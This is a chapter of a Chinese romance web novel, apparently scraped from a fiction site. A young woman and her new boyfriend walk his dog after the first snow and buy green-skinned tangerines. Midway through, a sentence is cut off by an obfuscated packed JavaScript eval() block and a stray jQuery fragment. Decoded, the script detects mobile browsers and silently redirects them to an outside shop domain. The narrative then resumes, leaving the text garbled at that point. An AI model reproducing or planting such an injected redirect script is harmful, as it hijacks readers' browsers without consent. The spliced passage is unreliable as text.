文趣网 > 其他小说 > 鱼目珍珠 > 19. 青皮橘
    孟令宜推门进去,带进来一阵凉意,家里很暖和,开着暖气,“姥姥,开暖气了吗?”

    “今天上午你舅舅过来了一趟交了暖气费。”姥姥的声音从厨房传出来。

    孟令宜了然,今年天气冷得早一些,他们家的暖气每年都要交,姥姥上了年纪受不得凉,万一生病感冒,一整个冬天都不好受,舅舅应该也是看了天气预报提前来交了。

    她站在玄关换鞋,动作有些慢,嘴角压都压不下去。

    姥姥从厨房出来,手里端着一杯红枣茶,小白甩着尾巴跟在她脚边哒哒哒地走出来,嘴里还咬着小黄鱼玩具。

    孟姥姥的目光落在她泛红的脸颊上,又看见她眼角眉梢藏不住的那点笑意:“今天和穗穗见面了吧?“

    “嗯,一起吃了饭,喝了一点酒。”

    “你妈妈给我打电话了,穗穗那孩子喝了不少,小嵩打电话告诉你妈妈了,她就和我说了,外头下雪了,冷吧?我给你泡了杯红枣茶,过来喝。”

    孟令宜应了一声,换好拖鞋走过去。姥姥把红枣茶递给她,孟令宜捧在手心里,掌心暖融融的,低头抿了一口,甜丝丝的暖意顺着喉咙滑下去。

    小白走过来蹭了蹭她的脚踝然后跳上姥姥的腿,舒舒服服地蜷着,喉咙里发出细小的呼噜声。姥姥一只手搭在它背上,有一下没一下地顺着毛,动作熟练又自然,看不出半点一开始对猫的疏离。

    孟令宜看了一眼,有点想笑:“姥姥,小白现在跟您比跟我还亲了。”

    姥姥哼了一声,语气里带着点得意:“吃醋啦?谁让你天天往外跑,猫都懂事,知道谁陪它多就跟谁亲。”顿了顿,又补了一句,“刚才你妈妈打电话来了,让你明天在家歇一天,后天她出院再过去就行,医院那边有你舅舅舅妈看着呢。”

    孟令宜点点头,又说:“医生说明天下午就能办手续了,明天我把房间收拾一下,后天去接妈妈回来。”

    “还用你收拾了?你好好歇着,我给我闺女收拾就行。”姥姥说完,低头看了一眼腿上的小黑猫,拍拍它的屁股,“走,跟姥姥回屋睡去。”

    小白懒洋洋地睁开眼睛,看了孟令宜一眼,又闭上,没有丝毫要挪动的意思。

    姥姥也不再管她,抱着猫慢慢起身往自己房间走。孟令宜坐在沙发上,捧着红枣茶又喝了两口,目光落在窗户上。

    外头的雪还在下,不算大,细细碎碎的,落在窗台上积了薄薄一层,被路灯照得泛出一层毛茸茸的光。她看着那片白,忽然想起刚才梁聿白低头吻她的时候,鼻尖擦过她脸颊的触感,凉丝丝的,和他这个人一样。

    孟令宜抬手,用指腹轻轻碰了一下自己的嘴唇,然后忍不住又笑了一下。她把杯子里的红枣茶喝完,才上楼去洗漱。

    热水冲在身上,她闭着眼睛站在花洒下面,脑子里乱糟糟地转着各种念头。梁聿白说“那我们就恋爱”,这句话她翻来覆去地想,怎么都觉得不真实,她掐了一下自己的手臂内侧,有点疼,是真的。

    她洗了澡出来,擦干头发,躺进被窝里,摸出手机看了一眼。已经快十二点了,她想给他发个消息,又觉得这个点他可能已经睡了。

    犹豫了一下,她还是只发了一个“晚安”,然后就把手机放在枕头边,闭上眼睛。

    手机很快震了一下。她立刻伸手摸过来,屏幕亮着,是他回的一条。

    「晚安,孟令宜。」

    她看着这行字,把手机往胸口贴了贴,翻了个身,把脸埋进被子里,嘴角翘得老高。

    要是孟姥姥在这里看见了,定是要惊讶,这模样真像极了小白,一高兴就翘胡子。

    还真是猫咪像主人。

    –

    这一觉睡得格外沉,再睁眼的时候,窗帘缝里漏进来一片亮堂堂的光。孟令宜眯着眼睛拿起手机看了一眼,已经快十点了。

    她愣了一下,平时她很少睡到这个点。大概是这段时间紧绷了太久,昨晚那场雨雪又让空气格外安静,她难得睡了个踏实的觉。

    手机屏幕上静静躺着几条消息,全是梁聿白发来的。

    第一条是早上七点多:「醒了吗?」

    隔了半小时又一条:「牙牙想你了。」

    再后面一条是九点多的:「昨晚说的那些,你还记得吗?」

    最后一条是十分钟前:「我就在附近。」

    孟令宜看着这四条消息,心跳一点一点快起来,雀跃着。她从床上坐起来,头发睡得乱糟糟的,也顾不得先打理,斟酌了半天,给梁聿白回了一条:「醒了。」

    她咬着指甲等了一会儿,那边很快回:「吃早饭了吗?」

    孟令宜:「还没。」

    梁聿白:「那出来吃?牙牙在楼下转了好几圈了,酒店待不住。」

    孟令宜:「我马上来!」

    梁聿白:「不急,你慢慢收拾,牙牙还得跑两圈,一会儿我开车去接你。」

    孟令宜:「那可以把牙牙也带上吗?」

    发完这句话孟令宜没等他回答就放下手机,从床上弹起来,飞快地洗漱换衣服。她把脸凑到镜子前看了看,皮肤因为昨晚的觉睡得足而透着一点润润的光泽,嘴唇也不像平时那么干,她想了想,还是找到家里的化妆品给自己快速地化了个妆。

    这些日子人又瘦了一些,显得清冷了许多。

    孟令宜少女时代是很明媚漂亮的,最早的时候也曾经看过少女漫,幻想过属于自己的爱情,但是父母断裂的婚姻,中学时候一封情书带来的无妄之灾,让她对“漂亮”和“爱情”产生了畏惧。

    她上大学的时候,同宿舍的室友经常节食减肥,疯狂地迷恋着瘦,孟令宜一直不胖,但还是陪着朋友一起,总不好她们一起吃饭她大快朵颐对方只能苦兮兮的吃青菜,这太折磨了。

    结果那一个学期下来她瘦了许多,室友半途而废,那时候室友就握着她的手腕说她瘦得都让人心疼了。

    她大学毕业后又把自己养出来一些肉,过劳肥反而让她看着更健康了,最近又瘦回去了,只觉得镜子里的人有些陌生。

    孟令宜摸了摸自己的脸,权当做重返青春了。

    孟令宜站在衣柜前纠结了一会儿,家里有很多衣服,孟玉华很爱给她买衣服,她上小学那会儿孟玉华在京州工作,那时候就经常给她寄衣服,邻居小朋友没有的新衣服她全都有,漂亮的铅笔盒书包,还有可爱的美羊羊玩偶。

    后来她留在京州工作,孟玉华就往京州给她买衣服,孟令宜拿的快递几乎都是孟玉华给她买的,京州那边租的房子太小,放不下太多东西,孟玉华就买了给她放在家里。

    她家里的衣柜也是满满的,孟玉华的眼光很好,孟令宜在衣服堆里翻出来一件全新没摘吊牌的深灰色的毛衣开衫和一条灰度低一些的风琴褶长裙,发票还在毛衣开衫的口袋里,是立冬前孟玉华在商场给她买的,孟令宜换上,特别衬她的气质。

    最了解孩子的人永远是妈妈。

    孟令宜伸手拨弄了一下刘海,总觉得这发型和衣服不搭。

    这么多年来,她习惯了的刘海,突然让她觉得如此碍眼,她很不喜欢,孟令宜想起家里还有很早之前买的卷发棒,给自己卷了个头发,刘海长长之后卷起来也显得时尚很多。

    从二楼下来的时候小白正蹲在玄关处舔爪子,看见她就溜溜达达走过来,尾巴竖得高高的。

    她蹲下去摸了它两下,长长的卷发落在小白的脑袋上,小白伸出爪子抓了抓,孟令宜把自己的头发从小猫爪子里解救出来,“你乖乖的在家里陪姥姥哦。”

    说完这话总觉得有些心虚,因为她要去找牙牙,总是有种背着小白出轨的感觉,对上小猫咪蓝色的大眼睛她决定回来给小白加一根猫条。

    手机响了一声,是他的消息。

    他在外面了。

    孟令宜连忙起身,拉开门的时候冷风灌进来,夹杂着冬日初雪后干净清冽的气息。

    天果然晴了,昨晚的雪下得不大,地上只积了薄薄一层,踩上去微微发软,在阳光下泛着细碎的亮。

    院门外停着一辆黑色的SUV,梁聿白正站在车边,穿着一件灰色连帽卫衣外套,拉链微微敞开露出里面的黑色圆领,看着就像个男大学生。

    他一只手牵着狗绳,另一只手正拿着手机发消息,牙牙正在他脚边转来转去,毛茸茸的尾巴摇得飞快。

    孟令宜一出门,牙牙就看见了她,耳朵一下竖起来,四条短腿倒腾得飞快,拖着狗绳就往她这边冲。梁聿白随着它往前迈了两步,也没松手,就那么由着它把他也拽到了孟令宜面前。

    “牙牙。”孟令宜弯腰去摸它的脑袋,小狗兴奋得直往她腿上扑,舌头去舔她的手背,热乎乎的,带着一点奶味儿,她目光落在了牙牙的爪子上,“哎呀,还穿了小鞋子呢。”

    不用想就知道这是梁聿白那一堆快递里的其中一个。

    他真的买得好齐全。

    梁聿白收起手机低头看她,她蹲在那儿摸狗,裙摆拖到地上沾了一点雪也不在乎。他等她逗了一会儿狗才开口:“昨晚睡得好吗?”

    孟令宜直起身来,对上他的目光,耳尖又开始发热,但还是点了点头:“挺好的。”

    “那就好。”梁聿白说着,把手里的狗绳往她这边递了递,“要不要牵一会儿?”

    孟令宜伸手接过来,指尖无意擦过他手背,他的手有些凉,她顿了一下,垂下眼,把狗绳攥进掌心。

    牙牙在她脚边绕了两圈,仰着脑袋看她,黑眼睛亮晶晶的,她低头冲着它笑了笑,没敢抬头看他。

    “饿不饿?先吃饭还是先带它遛一圈?”梁聿白说着,自然地走在她外侧,让开有车经过的一侧。

    小狗吐着舌头看着她,孟令宜心里软软,“先陪牙牙走一走。”

    于是两个人沿着老城区的小路慢慢走着,牙牙在前面跑跑停停,偶尔凑到路边的树根下闻一闻,又颠颠地跑回来。

    空气里是雪后特有的清冷味道,阳光晒在脸上暖洋洋的,天空又蓝又亮。

    孟令宜走了一会儿,手指被狗绳勒得有点发凉,她换了一只手牵,另一只手揣进上衣的口袋里。梁聿白余光看见她这个动作,没说话,只是伸手把她手里的狗绳接过来,“我来牵,它太好动了。”

    孟令宜弯了弯眼睛看着跑跑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918724|213403||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跳跳的小狗,“很可爱啊。”

    梁聿白看向白团子,眼里满是散漫的笑意,耸了耸肩没说什么。

    走到商业街的时候,她被对街的一家水果店吸引住了目光,孟令宜的脚步顿了顿。水果店的门口摆着好几筐橘子,青皮的,个头不大,看起来有点酸。

    她想起以前小时候姥爷接她放学,秋冬路过水果店总要给她买这种青皮橘子,她嫌酸不爱吃,姥爷就说酸一点吃了精神。

    超市多年不卖青皮橘了,沙糖桔倒是年年都有,乍然一看见就想买一些带回去。

    梁聿白顺着她的目光看过去:“想吃橘子?”

    孟令宜摇了摇头,又点了点头:“我买一点回去。”

    “一起过去看看。”梁聿白牵着狗和她一起走到水果店门口。

    水果店太小,不方便带着小狗进去,梁聿白就牵着牙牙,乖乖站在门口等。

    牙牙还想跟着她进去,却被梁聿白拉住,“你乖一点,我们一起等。”

    孟令宜走进去挑了几个青皮橘子,店主是个上了年纪的阿婆,用方言跟她搭话:“小姑娘,这橘子甜,昨天刚进的,你尝一个。”

    孟令宜笑着摆摆手,自己低头挑。

    梁聿白站在门口总觉得这样有点傻,他就在门口的水果篮前也准备买点水果。

    正准备拿袋子装点芒果,手里的狗绳动了动,一直乖巧躲在原地的小狗用力拖拽他,他只好直起腰看过去。

    是对面一个卖烤肠的路边摊,铁板上的烤肠滋滋冒着油,香气混着炭火的味道散在空气里。

    自家的馋狗仰头看他一眼又看看摊子,他实在没法,拍了一下小狗的脑袋,“你等一下。”

    他拿出手机给里面正在认真挑橘子的孟令宜打了个消息,说自己去对面买烤肠了,一出门就能看见他。

    他发完消息,牵着狗绳去了对过。

    牙牙跑过去蹲在摊子前面,仰着脑袋,尾巴在地上扫来扫去,眼睛直勾勾地盯着铁板上的烤肠。

    梁聿白无奈地蹲下去,摸了摸它的头:“想吃?”

    牙牙拿鼻尖顶了顶他的手心,湿漉漉的,带着点讨好意味。

    梁聿白还是蹲着,跟摊主要了一根烤肠,不要辣不要酱,摊主利落地给他烤好,用纸袋包着递过来。

    他接过来,小心地吹了吹,等它凉一点,才掰成小块,摊在手心里喂给牙牙。

    旁边几个等着老板出餐的客人已经被牙牙萌得不得了,一看狗主人还是个超级大帅哥,只觉得小吃街这趟实在来对了。

    一个看上去年龄有点小还穿着校服的女孩子被旁边的同伴撺掇着上前来,声音还有点害羞,“哥哥,我能加一下你的微信吗?”

    梁聿白抬眸扫过她校服上江城一中的标牌,又低下头掰了一块烤肠递到牙牙嘴边,“抱歉啊小妹妹,哥哥有女朋友了。”

    “我才不信呢!”小女孩被拒绝了有些没有面子,娇声地反驳。

    梁聿白微微挑眉,抬眸看向了拎着袋青橘子朝自己走过来的孟令宜点了点下巴,“喏,哥哥的女朋友来了。”

    孟令宜走出水果店的时候没看见梁聿白,一瞬间还有些不知所措。

    是回去了吗?还是因为她挑橘子太久了他不想等了。

    孟令宜站在水果店门口有些难过,对面却传来几声惊呼,什么好可爱呀,好萌呀,可以摸一摸吗的声音传进耳朵,她抬眸。

    就看见他蹲在那儿喂狗的样子。

    阳光落在他肩头和背上,男人垂眸和小狗认真说话的样子太温柔。

    鼻腔被水果店的果香浸满。这一刻,她忽然就想起曾经在汪曾祺《人间草木》里看到过的那段话来。

    里面写江阴有几家水果店,店里的水果香味浓得能把人醉倒,让人走过门口都要深深地吸一口气。他说那家水果店的香味常常想起,永远不忘。

    因为那年他正在谈恋爱,初恋。

    那时候她读这一段,只觉得写得真好,却不太懂那到底是一种什么样的感觉。闻见一种味道就能想起一个人,到底是什么样的感情才会让一个地方的气味都染上个人的印记。

    现在她站在这个街角,忍不住地走过去,靠近那个难忘的源头。

    她看着梁聿白蹲在地上喂一条小狗,阳光落在他肩上,隔着人群,他仰起头看着她,对着旁边人说:“我的女朋友来了。”

    那几个要微信的小女孩儿面红耳赤,仓促地拿了自己的烤肠扭头就跑。

    孟令宜拎着那袋青橘站在原地,隔着几步路看向他。

    他蹲在那儿,仰头看向自己,孟令宜对上他撩人的眉眼,这一刻她忽然就明了。

    原来水果店的香味之所以难忘,并不是因为混杂在一起的各种水果的香味,从来不是因为什么香蕉苹果,而是因为某个人给这个味道打上了特定的记忆印记。

    她抬步朝他走过去,一步,两步,心里想,原来就是这种感觉。

    以后每年再闻到青皮橘子的味道,她大概都会想起今天。

    这一天,初雪霁清,有情来讯。

    橘子变成了她最喜欢的水果。